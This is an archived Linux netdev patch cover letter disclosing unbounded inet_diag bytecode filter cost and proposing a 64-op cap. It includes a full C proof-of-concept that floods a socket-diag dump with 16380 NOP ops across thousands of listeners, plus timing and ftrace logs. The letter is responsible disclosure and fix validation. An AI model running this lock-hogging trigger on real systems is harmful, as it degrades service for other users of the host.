From: Zihan Xi <zihanx@nebusec.ai>
To: netdev@vger.kernel.org
Cc: "David S . Miller" <davem@davemloft.net>,
Eric Dumazet <edumazet@google.com>,
Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
Simon Horman <horms@kernel.org>,
Kuniyuki Iwashima <kuniyu@google.com>,
David Ahern <dsahern@kernel.org>, Kees Cook <kees@kernel.org>,
linux-kernel@vger.kernel.org, Zihan Xi <zihanx@nebusec.ai>
Subject: [PATCH net 0/1] inet_diag: cap bytecode filter complexity
Date: Mon, 7 Sep 2026 13:53:10 +0000 [thread overview]
Message-ID: <cover.1788775605.git.zihanx@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/inet_diag.c. The numbers
below were taken as root in QEMU, not under unshare -Urn.
A no-bytecode TCP listener dump still completes after the cap. A 64-op
program is still accepted. The 16380-NOP request is rejected with
EINVAL.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
inet_diag dumps run request-supplied INET_DIAG_REQ_BYTECODE programs
through inet_diag_bc_sk() while walking TCP, UDP and MPTCP hash buckets
under their bucket locks. inet_diag_bc_audit() currently accepts an
arbitrarily long program, so the per-socket filter cost is not bounded
by the auditor.
This fact is already present at the git epoch: tcpdiag_bc_audit() had
no op cap, and tcpdiag_dump() ran the bytecode while holding the
listener and ehash locks. Later inet_diag extraction, including
8d07d1518a07, only moved that code. Fixes therefore points to
1da177e4c3f4.
ss(8) filters only need a handful of compare/host/mark operations.
This patch rejects programs with more than 64 ops in
inet_diag_bc_audit(), which is the shared entry point for TCP, UDP
and MPTCP dumps. 64 is a policy cap above a normal ss(8) filter,
not a lock-hold budget.
The runtime logs are TCP listener dumps only. udp_diag_dump() and
mptcp_diag_dump_listeners() call the same inet_diag_bc_sk() helper
under their own bucket locks, so the auditor cap applies there too;
we did not rerun those dumps.
On the unfixed kernel 7.3.0-rc1-00293-g38b6be101006, KVM/host CPU,
watchdog_thresh=10, one SO_REUSEPORT group of 4096 TCP listeners,
guest root, ulimit -n 200000:
./poc --listen --groups 1 --count 4096 --nops 16380 --compare
no bytecode: 1.429 ms
16380 NOPs: 116.242 ms
dmesg after that dump did not show a soft lockup. These are PoC dump
wall times, not spin_lock timestamps. We did not record lock-hold
duration.
On this kernel the TCP listener walk calls inet_diag_bc_sk() and
inet_sk_diag_fill() under ilb->lock.
ftrace kprobes on the same unfixed kernel:
./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0
shows inet_diag_bc_sk() called from tcp_diag_dump(), with kretprobe
returning into tcp_diag_dump+0x16d.
./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare
with those probes attached entered inet_diag_bc_sk() 8212 times
across the baseline dump and the NOP dump, and summed to 129.493 ms
inside that function. Probe overhead is included; the same attack
without probes was 116.242 ms.
On the patched kernel 7.3.0-rc1-00294-g03a6504e40de, same 4096-listener
compare: the no-bytecode baseline dump succeeded (wall_ms=1.479), then
the 16380-NOP request returned EINVAL.
./poc --listen --groups 1 --count 4096 --nops 63
still succeeds (wall_ms=0.841). That program is 63 INET_DIAG_BC_NOP
ops plus a trailing INET_DIAG_BC_D_EQ, which the auditor counts as
64 ops, i.e. the cap.
The tested patched bzImage reports 03a6504e40de. The commit in this
series is a later message/trailer amend of that same tree.
A previous dump-cursor rewrite for TCP/MPTCP was dropped.
Reproducer:
gcc -O2 -static -o poc poc.c
ulimit -n 200000
./poc --listen --groups 1 --count 4096 --nops 16380 --compare
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment, KVM,
cpu=host. The timing log used guest root, not unshare -Urn.
This is not a packet-sequence or protocol-state reproducer. The trigger
depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
which packetdrill cannot express, so the PoC uses sockets and Netlink
directly.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/inet_diag.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/tcp.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>
#ifndef SOL_TCP
#define SOL_TCP 6
#endif
#ifndef TCP_LISTEN
#define TCP_LISTEN 10
#endif
#define TCPF_LISTEN (1U << TCP_LISTEN)
#ifndef TCP_BOUND_INACTIVE
#define TCP_BOUND_INACTIVE 13
#endif
#ifndef TCPF_BOUND_INACTIVE
#define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
#endif
#define DEFAULT_SOCKETS 32768U
#define DEFAULT_NOPS 16380U
#define DEFAULT_REPEAT 1U
#define DEFAULT_GROUPS 4U
#define DEFAULT_STRIDE 2048U
#define DEFAULT_BASE_PORT 10000
#define MAX_NOPS 16380U
#define RECV_BUF_SIZE (1U << 20)
struct options {
unsigned int sockets;
unsigned int nops;
unsigned int repeat;
unsigned int groups;
unsigned int stride;
unsigned int cpu;
bool cpu_set;
bool compare;
bool attack;
bool listen_mode;
int port;
};
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
" [--groups N] [--stride N] [--compare] [--no-attack]\n"
" [--listen | --bound]\n"
"Defaults: --count %u --nops %u --repeat %u\n",
prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
}
static long long timespec_delta_ns(const struct timespec *start,
const struct timespec *end)
{
return (end->tv_sec - start->tv_sec) * 1000000000LL +
(end->tv_nsec - start->tv_nsec);
}
static int raise_nofile_limit(rlim_t needed)
{
struct rlimit lim;
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur >= needed)
return 0;
if (lim.rlim_max < needed)
needed = lim.rlim_max;
lim.rlim_cur = needed;
if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("setrlimit(RLIMIT_NOFILE)");
return -1;
}
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur < needed) {
fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
(unsigned long long)lim.rlim_cur,
(unsigned long long)needed);
return -1;
}
return 0;
}
static int pin_to_cpu(unsigned int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
return -1;
}
return 0;
}
static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_ANY),
};
socklen_t addrlen = sizeof(addr);
int one = 1;
int fd;
fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0) {
perror("socket(AF_INET, SOCK_STREAM)");
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEPORT)");
goto err;
}
addr.sin_port = htons(port);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
perror("getsockname");
goto err;
}
if (listen_mode) {
if (listen(fd, 0) < 0) {
perror("listen");
goto err;
}
}
*bound_port = ntohs(addr.sin_port);
return fd;
err:
close(fd);
return -1;
}
static int setup_sockets(bool listen_mode, unsigned int groups,
unsigned int count_per_group, unsigned int stride,
int requested_port, int **fds_out, int *port_out)
{
int *fds;
unsigned int g, i;
unsigned int total = groups * count_per_group;
int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
fds = calloc(total, sizeof(*fds));
if (!fds) {
perror("calloc(socket fds)");
return -1;
}
for (g = 0; g < groups; g++) {
int port = base_port + (int)(g * stride);
if (port <= 0 || port > 65535) {
fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
g, base_port, stride);
goto err;
}
for (i = 0; i < count_per_group; i++) {
unsigned int idx = g * count_per_group + i;
int bound_port = port;
int fd = create_socket_in_bucket(listen_mode, bound_port,
&bound_port);
if (fd < 0) {
fprintf(stderr,
"socket setup failed at group %u index %u (port %d)\n",
g, i, port);
goto err;
}
fds[idx] = fd;
if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
printf("sockets_ready=%u group=%u port=%d mode=%s\n",
idx + 1, g + 1, port,
listen_mode ? "listen" : "bound");
}
}
}
*fds_out = fds;
*port_out = base_port;
return 0;
err:
for (i = 0; i < total; i++) {
if (fds[i] > 0)
close(fds[i]);
}
free(fds);
return -1;
}
static void teardown_sockets(int *fds, unsigned int count)
{
unsigned int i;
if (!fds)
return;
for (i = 0; i < count; i++) {
if (fds[i] >= 0)
close(fds[i]);
}
free(fds);
}
static size_t build_request(void *buf, bool listen_mode, bool with_attack,
unsigned int nops)
{
size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
struct nlmsghdr *nlh = buf;
struct inet_diag_req_v2 *req;
memset(buf, 0, msg_len);
nlh->nlmsg_len = msg_len;
nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
nlh->nlmsg_seq = 1;
req = NLMSG_DATA(nlh);
req->sdiag_family = AF_INET;
req->sdiag_protocol = IPPROTO_TCP;
req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
if (with_attack) {
size_t payload_len = ((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op);
size_t attr_len = NLA_HDRLEN + payload_len;
struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
struct inet_diag_bc_op *ops;
unsigned int i;
memset(nla, 0, NLA_ALIGN(attr_len));
nla->nla_type = INET_DIAG_REQ_BYTECODE;
nla->nla_len = attr_len;
ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
for (i = 0; i < nops; i++) {
ops[i].code = INET_DIAG_BC_NOP;
ops[i].yes = sizeof(struct inet_diag_bc_op);
ops[i].no = 0;
}
ops[nops].code = INET_DIAG_BC_D_EQ;
ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
ops[nops + 1].code = 0;
ops[nops + 1].yes = 0;
ops[nops + 1].no = 1;
msg_len += NLA_ALIGN(attr_len);
nlh->nlmsg_len = msg_len;
}
return msg_len;
}
static int recv_until_done(int fd)
{
char *buf;
int ret = 0;
buf = malloc(RECV_BUF_SIZE);
if (!buf) {
perror("malloc(recv buf)");
return -1;
}
for (;;) {
ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
struct nlmsghdr *nlh;
int remaining;
if (received < 0) {
perror("recv");
ret = -1;
break;
}
if (received == 0) {
fprintf(stderr, "recv: unexpected EOF\n");
ret = -1;
break;
}
remaining = (int)received;
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
nlh = NLMSG_NEXT(nlh, remaining)) {
if (nlh->nlmsg_type == NLMSG_DONE)
goto out;
if (nlh->nlmsg_type == NLMSG_ERROR) {
const struct nlmsgerr *err = NLMSG_DATA(nlh);
if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
fprintf(stderr, "short NLMSG_ERROR\n");
} else if (err->error) {
errno = -err->error;
perror("netlink");
} else {
fprintf(stderr, "unexpected ACK\n");
}
ret = -1;
goto out;
}
}
}
out:
free(buf);
return ret;
}
static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
double *wall_ms)
{
size_t request_len;
size_t attr_space = with_attack ?
NLA_ALIGN(NLA_HDRLEN +
((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op)) : 0;
size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
attr_space;
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
};
struct sockaddr_nl kernel = {
.nl_family = AF_NETLINK,
};
struct timeval timeout = {
.tv_sec = 60,
.tv_usec = 0,
};
struct iovec iov;
struct msghdr msg = {
.msg_name = &kernel,
.msg_namelen = sizeof(kernel),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct timespec start_ts;
struct timespec end_ts;
void *request;
int fd;
int ret = -1;
request = malloc(alloc_len);
if (!request) {
perror("malloc(request)");
return -1;
}
request_len = build_request(request, listen_mode, with_attack, nops);
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
if (fd < 0) {
perror("socket(AF_NETLINK)");
free(request);
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
perror("setsockopt(SO_RCVTIMEO)");
goto out;
}
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
perror("bind(netlink)");
goto out;
}
iov.iov_base = request;
iov.iov_len = request_len;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
perror("clock_gettime(start)");
goto out;
}
if (sendmsg(fd, &msg, 0) < 0) {
perror("sendmsg");
goto out;
}
if (recv_until_done(fd) < 0)
goto out;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
perror("clock_gettime(end)");
goto out;
}
*wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
ret = 0;
out:
close(fd);
free(request);
return ret;
}
static int parse_u32(const char *arg, unsigned int *value)
{
char *end = NULL;
unsigned long parsed;
parsed = strtoul(arg, &end, 0);
if (!end || *end || parsed > UINT32_MAX)
return -1;
*value = (unsigned int)parsed;
return 0;
}
static int parse_port(const char *arg, int *port)
{
unsigned int value;
if (parse_u32(arg, &value) < 0 || value > 65535U)
return -1;
*port = (int)value;
return 0;
}
int main(int argc, char **argv)
{
struct options opts = {
.sockets = DEFAULT_SOCKETS,
.nops = DEFAULT_NOPS,
.repeat = DEFAULT_REPEAT,
.groups = DEFAULT_GROUPS,
.stride = DEFAULT_STRIDE,
.cpu = 0,
.cpu_set = false,
.compare = false,
.attack = true,
.listen_mode = true,
.port = 0,
};
int *fds = NULL;
int port = 0;
unsigned int i;
for (i = 1; i < (unsigned int)argc; i++) {
if (strcmp(argv[i], "--count") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.sockets) < 0 ||
opts.sockets == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--nops") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.nops) < 0 ||
opts.nops > MAX_NOPS) {
fprintf(stderr, "--nops must be in range [0, %u]\n",
MAX_NOPS);
return 1;
}
} else if (strcmp(argv[i], "--repeat") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.repeat) < 0 ||
opts.repeat == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--groups") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.groups) < 0 ||
opts.groups == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--stride") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.stride) < 0 ||
opts.stride == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--port") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_port(argv[++i], &opts.port) < 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--cpu") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.cpu) < 0) {
usage(argv[0]);
return 1;
}
opts.cpu_set = true;
} else if (strcmp(argv[i], "--compare") == 0) {
opts.compare = true;
} else if (strcmp(argv[i], "--no-attack") == 0) {
opts.attack = false;
} else if (strcmp(argv[i], "--listen") == 0) {
opts.listen_mode = true;
} else if (strcmp(argv[i], "--bound") == 0) {
opts.listen_mode = false;
} else {
usage(argv[0]);
return 1;
}
}
if (opts.groups > UINT32_MAX / opts.sockets) {
fprintf(stderr, "socket count overflow\n");
return 1;
}
if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
return 1;
if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
return 1;
if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
opts.stride, opts.port, &fds, &port) < 0)
return 1;
printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
opts.groups, opts.sockets, opts.groups * opts.sockets,
port, opts.stride, opts.listen_mode ? "listen" : "bound",
opts.nops, opts.repeat,
opts.compare ? "yes" : "no",
opts.attack ? "yes" : "no");
if (opts.compare) {
double wall_ms;
if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("baseline wall_ms=%.3f\n", wall_ms);
}
if (opts.attack) {
for (i = 0; i < opts.repeat; i++) {
double wall_ms;
if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
}
}
teardown_sockets(fds, opts.groups * opts.sockets);
return 0;
}
------END poc.c--------
----BEGIN timing log----
==== unfixed 7.3.0-rc1-00293-g38b6be101006, KVM/host, guest root ====
kernel.watchdog_thresh = 10
kernel.softlockup_panic = 0
kernel.panic = 0
==== unfixed, 4096 listeners, no kprobe ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.429
attack_run=1 wall_ms=116.242
==== unfixed ftrace kprobe, 8 listeners ====
command: ./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0
bcsk: (inet_diag_bc_sk+0x4/0x390)
<stack trace>
=> inet_diag_bc_sk
=> tcp_diag_dump
=> __inet_diag_dump
=> netlink_dump
=> __netlink_dump_start
=> inet_diag_handler_cmd
=> sock_diag_rcv_msg
bcsk_ret: (tcp_diag_dump+0x16d/0x8f0 <- inet_diag_bc_sk)
==== unfixed ftrace kprobe, 4096-listener compare ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare
bcsk count=8212 span_ms=138.589
bcsk_ret count=8212
tdump count=19
bcsk_us min=0.0 p50=10.0 p90=28.0 max=871.0 avg=15.8 n=8212
bcsk_total_ms=129.493
poc wall: baseline wall_ms=7.088 attack_run=1 wall_ms=131.535
==== patched 7.3.0-rc1-00294-g03a6504e40de, 4096 listeners, 16380 NOPs ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.479
netlink: Invalid argument
==== patched, 4096 listeners, 63 NOPs + D_EQ ====
command: ./poc --listen --groups 1 --count 4096 --nops 63
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=63 repeat=1 compare=no attack=yes
attack_run=1 wall_ms=0.841
-----END timing log-----
Best regards,
Zihan Xi
Zihan Xi (1):
inet_diag: cap bytecode filter complexity
net/ipv4/inet_diag.c | 10 ++++++++++
1 file changed, 10 insertions(+)
--
2.43.0
next reply other threads:[~2026-09-07 13:53 UTC|newest]
Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-07 13:53 Zihan Xi [this message]
2026-09-07 13:53 ` [PATCH net 1/1] inet_diag: cap bytecode filter complexity Zihan Xi
2026-09-07 14:11 ` Eric Dumazet
2026-09-07 14:16 ` zihan xi
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1788775605.git.zihanx@nebusec.ai \
--to=zihanx@nebusec.ai \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=kees@kernel.org \
--cc=kuba@kernel.org \
--cc=kuniyu@google.com \
--cc=linux-kernel@vger.kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.